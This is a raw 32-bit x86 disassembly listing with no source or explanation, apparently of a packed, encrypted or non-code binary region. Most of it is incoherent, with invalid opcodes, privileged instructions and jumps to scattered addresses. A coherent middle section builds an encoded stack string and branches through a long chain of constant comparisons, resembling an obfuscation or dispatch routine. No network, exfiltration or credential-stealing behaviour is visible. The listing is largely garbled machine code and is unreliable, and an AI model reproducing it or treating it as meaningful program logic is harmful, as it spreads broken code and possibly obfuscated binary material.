jns 0x6e64105b
mov dword [ecx + eax*8 - 0x52a27031], ebx
salc
push edi
and ah, byte [ecx]
salc
inc esi
and dword [ebp - 0x6ef866ec], edi
daa
test esi, edi
scasd eax, dword es:[edi]
pop esp
xchg dword [edx + 0x51c1ca6d], esp
and edx, ecx
xchg esp, eax
test dword [edx], eax
imul edx, dword [ecx + 0x7fd9aaf7], 0x42
xchg ebx, edx
inc esi
and eax, 0xd18c9ea7
mov edi, 0x6bb794b6
xchg esp, eax
scasb al, byte es:[edi]
adc eax, 0x9e3b3f74
in al, dx
push esi
sub eax, 0x437c5c9c
fnstenv [edx + esi*4]
xor esp, dword cs:[eax + 0x2b35690f]
jecxz 0x6e6410ce
wait
fistp word [edx + 0x68ab0983]
cmovle ebx, dword [ecx + 0x60ec2bd4]
xor edi, dword ss:[0xf40b6412]
xor edx, dword [ebx - 0x48]
sbb edi, dword [esi]
das
retf 0xec77
hlt
push ss
mov ecx, 0xd022c5a5
and eax, 0x65114c85
inc edx
inc ebp
push ss
dec eax
and dl, byte fs:[ecx + 0x6e4389da]
and eax, 0x15661d56
pop esi
lodsd eax, dword [esi]
add al, 0xc4
adc eax, 0xc404ad5e
mov ch, 0xf9
pop edx
mov dh, byte [edx + edx*4]
ror byte [ebp + 0x36a61b05], 0x3b
ficomp dword [esi]
js 0x6e6410e8
cmp eax, 0x25917e06
shl esi, 1
mov esp, 0xc628e22d
fidiv dword [esi - 0x336f6f5b]
salc
out dx, eax
xchg edx, eax
push edi
push eax
test al, 0xb
jl 0x6e6410c2
inc edx
sbb eax, 0xd507429d
push esi
mov ebp, 0xc863da7a
mov ss, word [edx - 0x55b3cefc]
mov ch, 0x9a
mov byte gs:[eax - 0x77d1684c], 0xf
aaa
ja 0x6e6411b1
cmpsb byte [esi], byte es:[edi]
cli
test dword [ebp + 0x13], esi
sar edx, cl
jmp 0xc5c92e5c
sub al, 9
sar dword [esi + 0x14], 1
aas
cmpsd dword [esi], dword es:[edi]
mov ebx, 0x752e084c
xchg edi, eax
sub al, 0x29
pop ecx
xor eax, 0x70527820
ror byte [eax + 0x52], 0xbc
ret
dec ebx
mov bh, 0x37
jbe 0x6e64117d
fdivrp st(0)
test al, 0x6f
inc esi
insd dword es:[edi], dx
pop esi
add ebx, ebx
sbb byte [edx + ebp*2 - 0x3a], al
pushal
std
clc
mov bl, 6
xlatb
pop esi
jle 0x6e6411e4
sub ebp, dword [eax - 0x493137e5]
push 0x3f14ea81
arpl word [edi + 0x77], ax
mov byte [edi + 0x78], ch
nop
int3
lea esp, [ebx + ebp*4]
dec esi
int3
push ss
outsd dx, dword [esi]
add al, byte [ebx]
in eax, dx
xor ecx, ebx
aam 0xdf
mov ss, word [eax + 0x38]
adc edx, edx
dec esp
and edi, dword [edx - 0x4992ff18]
int3
scasd eax, dword es:[edi]
fadd qword [ecx + 0x3f]
dec edx
cwde
scasd eax, dword es:[edi]
loopne 0x6e642739
push ss
mov dh, 0xa2
fsubr qword [edi + 0x11456c62]
sal dword [edi + 0x7b], cl
inc edi
sub eax, 0xb2f38fb9
je 0x6e6427ca
pop edi
cli
xor byte [ecx + 7], al
xchg ebp, eax
jecxz 0x6e642820
retf
insb byte es:[edi], dx
jmp 0xe1481183
lahf
jp 0x6e64277e
or bh, byte [eax]
bound esi, qword [edx]
jl 0x6e6427ad
sahf
test eax, 0xeb0a3d69
mov cl, dh
int1
test byte [ebx], 0x71
invalid
add dword [edi], esp
adc al, 0xf6
aad 0xd1
outsb dx, byte [esi]
and ebx, dword [eax - 0x2d]
cmp byte [0xefc10688], cl
sti
and dword [edi + 0x2fcbcb43], edx
ret
aad 0xd8
stc
iretd
sbb eax, 0xb15cd9a5
jg 0x6e6456e6
push esi
push esi
inc esi
jb 0x6e6456e3
mov edx, 0xdf7cbac
pop ecx
int 0xd6
loope 0x6e6456e3
hlt
mul byte [edi - 0x3f620489]
cmp eax, 0x9e3e19e6
add dword [0x90c4d285], ebp
sti
popfd
sar byte [0x9e3e19e6], 1
sub eax, 0x90c4d285
and eax, 0xdbb477b7
rol byte [esp + eax*4 + 0x3d1540b0], 0x37
push edx
mov eax, 0x71de90a4
push ecx
aas
mov al, 0x79
and edx, dword [edi + ecx*2]
ret
adc eax, 0xe5489dbd
pop edi
cdq
push esp
dec ebp
sbb al, 0x61
bound ebx, qword [esi - 0x55]
push 0xffffffffffffff95
in al, dx
in eax, dx
dec esp
xor al, 0x7f
add al, 0x3a
iretd
adc dh, byte [esi - 0x37]
mov dh, pe_nt_image_headers32
fcmovnbe st(0), st(1)
scasd eax, dword es:[edi]
add edx, ebp
sub ah, byte [esi + 0x69]
cdq
loopne 0x6e64861e
cmp ecx, dword [0xfab4ddeb]
pop esp
mov esp, 0x3c646cb
xor eax, 0x1a47250b
xor byte [edi - 0x1a], ah
pop eax
and cl, byte [edi]
sbb edi, ecx
dec eax
cmp byte [ebx - 0x61], bl
ret 0xb13c
frstor dword [ebx + 0x74]
xchg ecx, eax
cmpsd dword [esi], dword es:[edi]
js 0x6e64865e
in al, 4
vmwrite edi, dword [ebp + 0x11]
into
xor bh, cl
invalid
mov edi, 0x1345f91e
wait
mov bl, 0x78
sub dl, byte [eax - 0x2f879e34]
pop eax
dec ecx
int1
push edi
invalid
adc byte [ebx], bl
xor dword [esp + edi*8 + 0x1fe46f02], eax
mov esp, 0x57a6e438
cmc
or al, 0x7b
push edx
xchg esp, eax
sar dword [ecx + 0xb2d975e], 0x32
std
movsb byte es:[edi], byte [esi]
pop ds
ljmp 0xc04
mov al, 0x2c
push cs
mov dl, 0x59
xor al, 0x24
int 0xba
invalid
xchg edx, eax
xchg esi, eax
mov ah, 0xa5
je 0x6e64cc19
pop ebx
imul dword [ebx + esi*4 + 0x46b00184]
inc esi
mov eax, 0xceb0271d
aaa
jle 0x6e64cbba
push ecx
invalid
movsd dword es:[edi], dword [esi]
lds ebx, [ecx - 0x66]
cmpsb byte [esi], byte es:[edi]
pop es
mov eax, dword [0xf22237d3]
add ah, ah
mov word [0xe93d2d0e], gs
stosd dword es:[edi], eax
imul ebp, ebp, 0x43
mov cl, 0xf1
adc al, 0xc0
scasd eax, dword es:[di]
jecxz 0x6e64cbba
sub eax, 0xf0a73400
jne 0x6e64cbc7
int1
mov ecx, 0x62bfc2ed
sbb eax, 0x16b436c4
add byte [edx + 0x67], al
add dl, byte [esi - 0x45]
or dword [ecx - 0x5a], edi
inc ebp
into
movsb byte es:[edi], byte [esi]
add eax, 0xe82953cd
xchg ecx, eax
mov al, byte [0xc7a3d508]
mov eax, 0x3f057f6
cmpsd dword [esi], dword es:[edi]
in ax, dx
invalid
dec esp
add byte [ebx - 0x1c], cl
pushfd
in al, dx
mov edi, 0xa1087f99
pop es
and byte [edx - 0x6f], dh
or byte [ecx - 0x6e8ddff9], ah
scasb al, byte es:[edi]
sal byte [eax + 0x37], 1
sub cl, cl
mov ebx, 0x2155ad12
lea eax, [edi]
ficom dword [eax]
lodsd eax, dword [esi]
daa
pop edx
jo 0x6e64e384
pop eax
cmp eax, 0xf7ce37cc
jmp 0x7d2d9206
push esp
adc ecx, edx
adc esi, dword [eax + esi*4]
xor ah, byte [ebx]
cmp eax, 0x25cec312
xchg dword [ecx + edi*8], ebx
mov dl, 0x51
dec edi
dec ebp
xchg byte gs:[edi + edx*8 - 0x1632050a], cl
movsd dword es:[edi], dword [esi]
stc
mov dl, 0x4d
pop eax
cmpsd dword [esi], dword es:[edi]
jge 0x6e64fb22
ret
int 0x5a
mov dl, 0x4d
pushal
mov dh, 0xa5
jo 0x6e64fa91
rcl ecx, cl
invalid
daa
pop ebp
test esi, edi
stosd dword es:[edi], eax
push ds
push edx
add eax, 0x458c47ac
shl dword [esi + 0x4c], 0xbb
popfd
fxch st(4)
push cs
push esp
mov dl, 0x44
or edx, dword [ebp - 0x4c]
les ecx, [edi + edi*4 + 0x2f7bf344]
das
jbe 0x6e64fb02
adc ah, bl
jae 0x6e64fb59
mov edx, 0x39342dfa
outsb dx, byte [esi]
mov dword [esi], ebx
enter 0xffffffffffffbc1c, 0xffffffffffffffec
lea eax, [ebp*8 + 0x4bc767b9]
push eax
xchg ebx, eax
xchg edi, eax
and al, 0xb0
cmp byte [edx], al
int1
pop esp
mov ebp, esp
arpl word [esi], bx
push 0x8a997a0b
lock or eax, dword [0xe0b12776]
sbb dh, byte [ebp - 0x58c42fd2]
sar byte [ebx], 1
cmpsd dword [esi], dword es:[edi]
or al, 0x71
cdq
fld xword [eax + 0x1e]
pop ebx
stosb byte es:[edi], al
imul ebx, dword [ebx - 0x3f], 0xa67966a2
push ebp
int 0x10
mov cl, 0x47
stosd dword es:[edi], eax
invalid
push esi
jbe 0x6e651267
in al, dx
or dh, byte [ebx + 0x231bfc12]
mov dword [0xa6821f9b], eax
inc edx
sbb eax, 0x24a20ac8
salc
jo 0x6e651286
adc al, 0xf9
out dx, al
les esi, [edi - 0x54a42e19]
test dword [ecx - 0x28], 0x8c396773
xlatb
add al, 0x79
fbstp tbyte [ebx + 0x47]
invalid
inc esi
add byte [eax], al
loopne 0x6e6511f5
movsb byte es:[edi], byte [esi]
mov cl, byte [esi + 0x45]
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
je 0x6e65129b
out dx, eax
and ch, byte [edi - 0x7f]
pop edx
aas
mov esp, 0x12fe4985
mov bh, 0xe6
push eax
jmp 0x7595282f
pop es
scasd eax, dword es:[edi]
mov ah, 0xa6
xchg ebp, eax
mov bh, 0x30
cld
sbb byte [ebx], 0x9e
xchg edi, eax
into
retf 0xc78f
fnsave dword [esi + edx*2]
invalid
pushal
cmp esi, eax
pop ds
pop esi
sbb al, 0xf1
adc byte [ecx + 0x712d5ae7], 0xc9
movsb byte es:[edi], byte [esi]
aas
add dword [edx], esi
dec ebx
or ecx, ebp
int1
sub dword [edx + 0x39a1ddb3], ebp
in al, 0x7d
add dl, byte [edx + 0xb70fe55]
jo 0x6e6529f1
or ebp, dword [0x54706f0]
add dword [eax - 0x24a172e4], edx
movsb byte es:[edi], byte [esi]
adc al, 0xe0
fcmovnu st(0), st(6)
push ss
mov ebx, 0x801c3695
xor eax, 0x633c05c0
aas
pop ds
in eax, dx
lock xor dword [edi - 0x13], 0x3066e6ec
imul ebp, dword [edx], 0x28
dec esi
pop esp
in al, dx
into
aaa
aam 0xef
adc byte [ebx + 0x356e7df1], ch
or dl, byte [eax + 0x2ef1e9cc]
add byte [eax], al
loope 0x6e6529e4
push esp
mov dh, 0xd6
xchg ebp, eax
cmp al, 0xf9
push esi
pop esi
jb 0x6e65297c
cmp edx, dword [ecx + 0x283605e8]
iretd
add eax, 0x81cf2836
dec esp
lds ebx, [ebp - 0x2c]
add edx, dword [eax - 0x1443fffd]
jnp 0x6e652a14
imul edx, dword [ecx - 0x4494986b], 0x662ed836
adc eax, dword [ebx - 0x5714ca2d]
cmc
ret
js 0x6e652a2b
or ecx, 0xc42b0251
retf 0x709
retf
cwde
sub edx, dword [ecx + 3]
push cs
inc esi
inc ecx
imul ebp, dword [ecx], 0xffffffad
cmpsb byte [esi], byte es:[edi]
mov ecx, ebx
sub dh, byte [eax + 0x1b40c819]
mov ah, 0xee
xchg ebx, eax
push es
fcmovne st(0), st(7)
imul eax, dword [eax - 0x46], 1
pop eax
test eax, 0x97ed383c
xchg esi, eax
sbb ebx, ebx
in al, dx
jge 0x6e654133
invalid
dec ebp
out 0x2b, al
mov edi, 0xd4daa836
jb 0x6e6541af
and dword [ebx + 0x23e34649], ebp
pop ebx
mov ah, 0x12
add esi, dword es:[ebp + 0x41]
jae 0x6e6540cd
inc esi
mov esp, 0x872863d4
jmp 0xe84f0de7
mov byte [eax], cl
pop edi
mov byte [edx - 0x26fee28b], bl
test al, 0xf8
dec edx
or dword [ecx + 0x38], edx
and dword [edi - 0x46], ebx
lds eax, [ebp - 0x73]
and dword [edx - 0x506d6516], esp
fldcw word [eax + 0x51094af8]
cmp byte [ecx], ah
pop edi
mov edx, 0x218d45c5
mov byte [0xaf929aea], al
mov esp, 0x3145b42b
cli
sahf
sbb al, 0xb3
aaa
sub al, 0x44
xor bh, byte [eax - 0x111f0eb6]
jbe 0x6e654136
jle 0x6e654162
stosd dword es:[edi], eax
pushfd
adc dh, byte [edi + 0x1041fa22]
add eax, 0x104a4e3d
adc dl, byte [ecx - 0x10]
or ebp, dword [edx + 0x79]
pop ebx
salc
push esp
cmp byte [edi - 0x6b], cl
jp 0x6e6541e3
fisubr word [eax + 0x2e672375]
lea ecx, [edx + 0x2547afc]
xchg ebp, eax
pop edx
mov ch, 0xaa
stosd dword es:[edi], eax
jp 0x6e654205
add dl, byte [ebp - 0x54554aa6]
aaa
mov dl, 3
xchg ecx, eax
dec edi
outsb dx, byte [esi]
sub dh, al
sub dword [esi - 0x35234372], eax
pop ebx
sbb al, 0x83
pop ebp
cmp dword [eax + ebp*2], esi
add eax, dword [esi - 0x79]
out dx, al
and eax, 0xefc5ba70
pop esp
fisubr word [esi + ebx + 0xc]
in eax, dx
test dword [ecx - 0x7e], esi
mov ah, 0xbb
xor esi, dword [esi - 0x4d]
retf
push ebx
xchg edx, eax
pop edi
invalid
nop
jmp 0x6e6558d3
nop
mov dword [ebp - 0x162], 0x613f493c
mov dword [ebp - 0x15e], 0x6c2a5807
mov dword [ebp - 0x15a], 0x49226f0a
mov dword [ebp - 0x156], 0x585b6179
mov dword [ebp - 0x152], 0x6f036c60
mov dword [ebp - 0x14e], 0x612f4936
mov word [ebp - 0x14a], 0
mov dword [ebp - 0x70], 0xaef7b
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x66ed0
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x78]
sbb edx, dword [ebp - 0x74]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0xef37b
or eax, dword [ebp - 0x7c]
je 0x6e65a2e1
mov edx, 0xef37b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0xb4fd0
or eax, dword [ebp - 0x7c]
je 0x6e667619
mov edx, 0xb4fd0
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0xb2f1b
or eax, dword [ebp - 0x7c]
je 0x6e665ea1
mov edx, 0xb2f1b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0xb14a3
or eax, dword [ebp - 0x7c]
je 0x6e65ba59
mov edx, 0xb14a3
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0xb00da
or eax, dword [ebp - 0x7c]
je 0x6e661839
mov edx, 0xb00da
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0xacc4e
or eax, dword [ebp - 0x7c]
je 0x6e66bc81
mov edx, 0xacc4e
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0xa9734
or eax, dword [ebp - 0x7c]
je 0x6e671a61
mov edx, 0xa9734
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0xa2f8b
or eax, dword [ebp - 0x7c]
je 0x6e66eb71
mov edx, 0xa2f8b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x8aaa2
or eax, dword [ebp - 0x7c]
je 0x6e65d1d1
mov edx, 0x8aaa2
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x78804
or eax, dword [ebp - 0x7c]
je 0x6e6731d9
mov edx, 0x78804
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x75b78
or eax, dword [ebp - 0x7c]
je 0x6e662fb1
mov edx, 0x75b78
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x7356d
or eax, dword [ebp - 0x7c]
je 0x6e664729
mov edx, 0x7356d
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x5b996
or eax, dword [ebp - 0x7c]
je 0x6e66a509
mov edx, 0x5b996
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x59aac
or eax, dword [ebp - 0x7c]
je 0x6e6573f1
mov edx, 0x59aac
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x5617b
or eax, dword [ebp - 0x7c]
je 0x6e655c79
mov edx, 0x5617b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x55cb2
or eax, dword [ebp - 0x7c]
je 0x6e658b69
mov edx, 0x55cb2
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x4eebd
or eax, dword [ebp - 0x7c]
je 0x6e6600c1
mov edx, 0x4eebd
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x480ab
or eax, dword [ebp - 0x7c]
je 0x6e674951
mov edx, 0x480ab
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x42246
or eax, dword [ebp - 0x7c]
je 0x6e6702e9
mov edx, 0x42246
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x2190b
or eax, dword [ebp - 0x7c]
je 0x6e66d3f9
xor byte [0x2190b], 0xb
inc ebp
test byte [edi], cl
test byte [ebp - 0x45fffe89], bh
or ebx, dword [ecx]
add al, byte [eax]
mov edx, 0x2190b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x6e67494e
mov eax, dword [ebp - 0x80]
xor eax, 0x978a
or eax, dword [ebp - 0x7c]
je 0x6e668d91
mov eax, dword [ebp - 0x80]
xor eax, 0x100e9
or eax, dword [ebp - 0x7c]
je 0x6e65e949
jmp 0x6e67494e
add dword [eax], eax
dec eax
scasd eax, dword es:[edi]
adc bh, dl
mov ebp, 0xa0002d0d
ror byte [ebx - 0x64539d95], 0x85
or al, 0xbb
cmp eax, dword [eax - 0x53e938d1]
cmpsb byte [esi], byte es:[edi]
and eax, 0x7bfc7aa5
js 0x6e655c2d
out 0xe0, eax
sbb dword [edx + 0x22], 0x35961013
jg 0x6e655cc3
or eax, 0xa0d11933
loop 0x6e655c77
inc edx
cmpsd dword [esi], dword es:[edi]
movsd dword es:[edi], dword [esi]
xchg byte [edx + 0x14], al
cmp eax, 0x4ea0f88
fild word [ebp - 0x5b]
dec esp
enter 0xffffffffffffe630, 0xffffffffffffffed
add eax, dword [ebx]
test dword [eax + esi + 0x11af1355], esi
xor al, 0xac
xor byte [ebp + 0x13], dl
scasd eax, dword es:[edi]
adc dword [esp + ebp*4], esi
push esi
fimul dword [edi + 0x20]
mov dl, 0xc8
rcl dword [esi]
jae 0x6e655ced
add eax, 0x12333116
pushal
les ecx, [edi - 0x79]
add ah, byte [eax - 0x74]
pop ds
push esp
xor eax, dword [esp + ebp*4 + 0xd]
add al, 0xaa
pop ebp
push esp
sbb dword [ebp - 0x690ac6c4], ecx
cmp ebp, esi
xchg esi, eax
add esi, edi
fcom dword [edx + 0x59]
dec eax
mov bh, al
mov ebp, 0x16dc4a71
jae 0x6e655d43
mov ecx, 0x9fd480d1
aam 0x80
push eax
and eax, dword [esi - 0x79]
imul ebp, dword [edi - 0x267fe351], 2
add dword [ebp + 0x62922ef5], ecx
push esi
mov eax, 0x497ca36f
inc byte [ebx + 0x57]
ror byte [ecx], 0xb1
into
out dx, eax
jl 0x6e655d2a
mov bh, 0xfa
inc edx
std
je 0x6e655d99
daa
mov al, byte [0xf2247825]
imul eax, dword [ebx - 0x7163a07], 0x8c67bb8a
cmpsd dword [esi], dword es:[edi]
movsd dword es:[edi], dword [esi]
int3
xchg dword [edx - 0x68336fae], esp
push eax
popal
enter 0xd72, 0x3d
invalid
adc dh, al
sbb al, 0x7b
bound edx, qword [edx]
sub eax, eax
pop es
or al, 0x54
imul eax, dword [ecx], 0xd650f4e5
or edx, dword [eax - 0x1e]
xor al, 0xc
xor ebp, dword [0xaac2d6e0]
sub eax, 0xaac2d6e0
xlatb
enter 0xffffffffffffc4ae, 0x1d
dec ebx
sub dword [edi - 0x6a686520], 0x5f
cli
cli
lea ebp, [eax + 0x72]
or dh, byte [eax - 0x6b]
lcall 0x8dfa, 0xfa5f9597
push 0x95700a72
jge 0x6e655d76
fild word [edi + 0x3b]
sti
adc byte [edx], dh
cwde
arpl dx, bx
add ch, ch
jb 0x6e655d68
aad 0xcc
add dh, byte [esi - 0x27b48e02]
dec ebx
fdivr dword [esi - 0x19f548af]
mov esi, 0xe60ab751
jp 0x6e655d51
xor dh, bl
mov esi, dword [edi]
rcr byte [eax - 0xa], cl
jge 0x6e655d97
js 0x6e655e10
pushal
cwde
mov al, 0x7b
mov ah, byte [edx + ebx*8 - 0x2884ee85]
fcom dword [esi + 0x5629d497]
neg byte [edi + 0x4e4274ca]
loop 0x6e655dd1
mov dl, 0xb0
aaa
cmp ebx, edx
push esi
invalid
xor eax, 0x33b171a1
mov bl, 0x54
mov ebp, 0xfd9edd8c
push 0x1a
cdq
cmp byte [edi + 0x4cf29222], bl
pop es
out dx, eax
inc eax
invalid
mov ah, 0xc6
invalid
std
pop esp
adc dword [edx + 0x218bdb25], edi
mov dword [eax + 0x7a955496], edi
mov byte [0xbabc4490], al
outsd dx, dword [esi]
sub byte [ecx], al
aad 0x19
dec ebx
cdq
mov byte [ecx], al
pop edx
dec esp
dec ebp
out dx, al
add byte [eax], bl
mov dword [0x77884a8d], eax
invalid
push es
pop ecx
jmp 0x7daa0b06
jne 0x6e65738d
mov cl, 0xee
xor cl, byte [esi]
test byte [ebp - 0x52cf60e2], bh
invalid
mov esp, 0x550616c1
sub bl, bl
pop ebp
cmp dword [edx - 0x3f], ebp
cmp byte [esi + 0x33], 0x85
mov ah, 0xe3
sal bl, 0xe9
jge 0x6e657451
jmp 0xfa97bc88
xor cl, byte [esp + ebp*2 + 0x6a08b7f1]
std
jnp 0x6e6573d8
pop eax
sbb eax, 0x5226fef9
sbb ah, bl
push ds
mov eax, dword [0x631080fe]
fadd st(6), st(0)
cmp eax, 0xb74a0b4c
inc ecx
cmc
nop
scasd eax, dword es:[edi]
pop ebp
arpl dx, si
mov ecx, 0x13bfdf5d
out 0xb2, eax
ja 0x6e6573c2
mov ch, 0x7b
jmp 0x6e657405
test edx, esi
xchg ebx, eax
mov ah, 0x73
mov dl, 0xf9
test byte [ecx - 0x59], dh
push ecx
popfd
in eax, 0x7a
pop ss
sbb cl, al
sti
invalid
dec esp
add dl, byte [edx - 0x49]
sub ebx, esi
ret 0xfcbb
cmp eax, 0x799a2a20
aad 0x61
int 0x85
inc ecx
cmp ecx, esi
ja 0x6e65a33f
retf 0xe5a3
fdivr dword [eax]
and al, 0x3a
adc bh, ah
leave
scasb al, byte es:[edi]
and eax, esp
add dword [esi], eax
jmp 0xe26e66ed
loopne 0x6e65ba89
stosd dword es:[edi], eax
stosd dword es:[edi], eax
sub eax, 0x4f6db41c
xchg edi, eax
pop edx
outsd dx, dword [esi]
xchg esp, eax
pushfd
in al, 0x43
push ecx
sbb al, 0x56
imul eax, esp, 0xffffffe2
imul esp, dword [esi + 0x67], 0x8d8e6896
xor dword [edx - 0x5b], 0xa5044497
inc ecx
push es
mov eax, dword [0xedbc9a45]
outsd dx, dword [esi]
test eax, 0x304f38ef
push 0xffffffffffffffab
dec edi
xor byte [edx - 0x55], ch
fisttp dword [esi + 0x16a961e7]
sbb byte [ebx - 0x133378d0], bl
xchg edx, eax
push ebp
add ah, cl
popfd
push 0x611c
adc ecx, dword [edx]
fiadd word [edi - 0x2c89331d]
popal
mov ecx, dword [esi]
jle 0x6e65bb02
sub al, 0x42
iretd
jb 0x6e65bb31
invalid
pop ecx
adc al, 0x4f
nop
push ss
ljmp 0x56bb
sbb dword [ebx - 0x4e], edx
invalid
cmp byte [eax + 0x408049d5], bl
cmp cl, byte [esi + 0x6d508096]
test eax, 0xaf2dab5a
jnp 0x6e65e8cd
aad 0x49
add byte [eax + 0x3a], 0x8e
xchg esi, eax
adc byte [eax + 0x6d], 0xa9
pop edx
stosd dword es:[edi], eax
sub eax, 0x8ff67baf
mov ebx, 0x7ae7f161
int 0x61
adc bl, ch
inc edi
jmp 0xcc4bc583
invalid
aaa
dec edx
dec ebx
in al, dx
dec eax
clc
mov cs, esp
jnp 0x6e65e8c4
imul edi, edx, 0xffffffeb
or byte [edx], al
push 0xfffffffffffffff9
xchg dword [ebx - 0x3bd51e33], ebx
loope 0x6e65e8c6
add dword [esi], ebx
rcr dword [ecx - 0x6b], 1
or byte [esi + esi*2 - 0x6ab555c], bh
dec esp
invalid
mov ebp, 0x961b0090
out dx, eax
adc dword [ecx], eax
sub al, 0x6a
push ss
fild word [ebx + edi*8 + 0x3e]
mov byte [0x7c49b109], ch
jle 0x6e65e97b
jecxz 0x6e65e8fe
ret
cli
mov dh, byte [esi + edi*4 + 0x25]
sbb eax, edx
pushfd
shr bh, 1
pop edx
push eax
add ecx, dword [ecx - 0x3da25464]
cmpsd dword [esi], dword es:[edi]
jp 0x6e65e9fc
add byte [0x1616288a], dl
loope 0x6e65e97a
jecxz 0x6e65e953
mov ebx, 0x6e7d419c
pushfd
inc ecx
jge 0x6e65ea0a
pop edi
mov byte [0x7d5d1e22], al
invalid
insb byte es:[edi], dx
outsb dx, byte [esi]
loop 0x6e65e996
dec edx
or byte [ecx - 0x4db2aa7d], 0xa4
or dword [edx - 0x22c41979], esi
xchg esi, esp
cmp ebx, ebp
pop ebp
lodsd eax, dword [esi]
movsd dword es:[edi], dword [esi]
or ah, byte [ecx - 0x6f49e14c]
int3
outsb dx, byte [esi]
dec esi
or al, 0xfa
or byte [esp + ebp], 0xf7
and dword [edx + ebx*2 - 0x4f], edx
retf 0xb2cd
call 0x423bc41c
sbb dl, byte [ebx - 0x4a]
xchg edx, eax
xor al, 0xe7
fisttp dword [ecx]
pop edi
adc ebx, dword [0x16a59b8d]
pop eax
add edi, esp
add eax, 0x25f444c5
fst qword [ecx]
pop ebx
mov ecx, esi
or dword [ecx + ebx*8], 0x53
mul dword [edi + 0x6d653e10]
out 0xc4, al
adc bl, byte [edi]
pop ss
test al, 0x7e
stc
fild word [esi - 0x4c]
cmp ch, byte [ecx]
invalid
xor al, 0x30
out dx, eax
push ebp
in al, dx
sub al, 0x95
sbb byte [ebx + 0x1f], bh
les ebx, [esi + 0x36]
cmpsb byte [esi], byte es:[edi]
cmp al, byte [ebx + edi + 0x2a3b6922]
test al, 0x68
stosd dword es:[edi], eax
test dword [ecx - 0x75], edi
fidivr dword [ebx - 3]
inc edi
xchg al, dl
jg 0x6e662f9e
aam 0xe7
les ebp, [ebp - 0x36ef0b8b]
sbb al, 0x39
push esi
lodsb al, byte [esi]
mov ecx, 0xd7aec97a
scasb al, byte es:[edi]
xlatb
dec ebp
xor dword [ecx], esi
test esp, eax
jle 0x6e662fc0
int 8
nop
int3
push ebp
add al, byte [eax - 0x6c]
lodsb al, byte [esi]
jnp 0x6e662f9e
fcmovb st(0), st(1)
jns 0x6e662fea
add byte [eax], 0x92
inc edi
sal dword [edi - 0x4b], cl
cwde
xor byte [eax + 0x57], cl
or cl, byte [ecx - 0x5b]
outsd dx, dword [esi]
push ebp
jae 0x6e662f6b
push ebp
retf
fist word [ebx - 0x5b]
or byte [ecx + 0x4c], bh
pop ebp
invalid
or ch, cl
ljmp 0xd090
mov edi, 0xd33694cd
jg 0x6e665ebf
outsb dx, byte [esi]
push ebx
sub esp, 0xdbdb1600
fdivr qword [ecx - 0x3532cd84]
cli
adc al, bh
out 0x90, eax
cld
adc al, 0x5f
mov dword [eax + 0x47], eax
inc esp
pop ds
add al, byte [ebx + 6]
ret
inc dl
pop ds
in eax, 0x5e
jg 0x6e665ec8
push es
jge 0x6e665efa
mov esi, 0x4e66e11b
jb 0x6e665e60
pop es
mov eax, 0x79229eef
test byte [edi + 0x6c086dd9], ah
push es
inc esi
mov cl, 0xd6
xor byte [ecx + 0x6c], bl
cli
xchg esp, eax
and bh, bl
and eax, 0x801f6bb1
and dword [eax + ebx], esi
sti
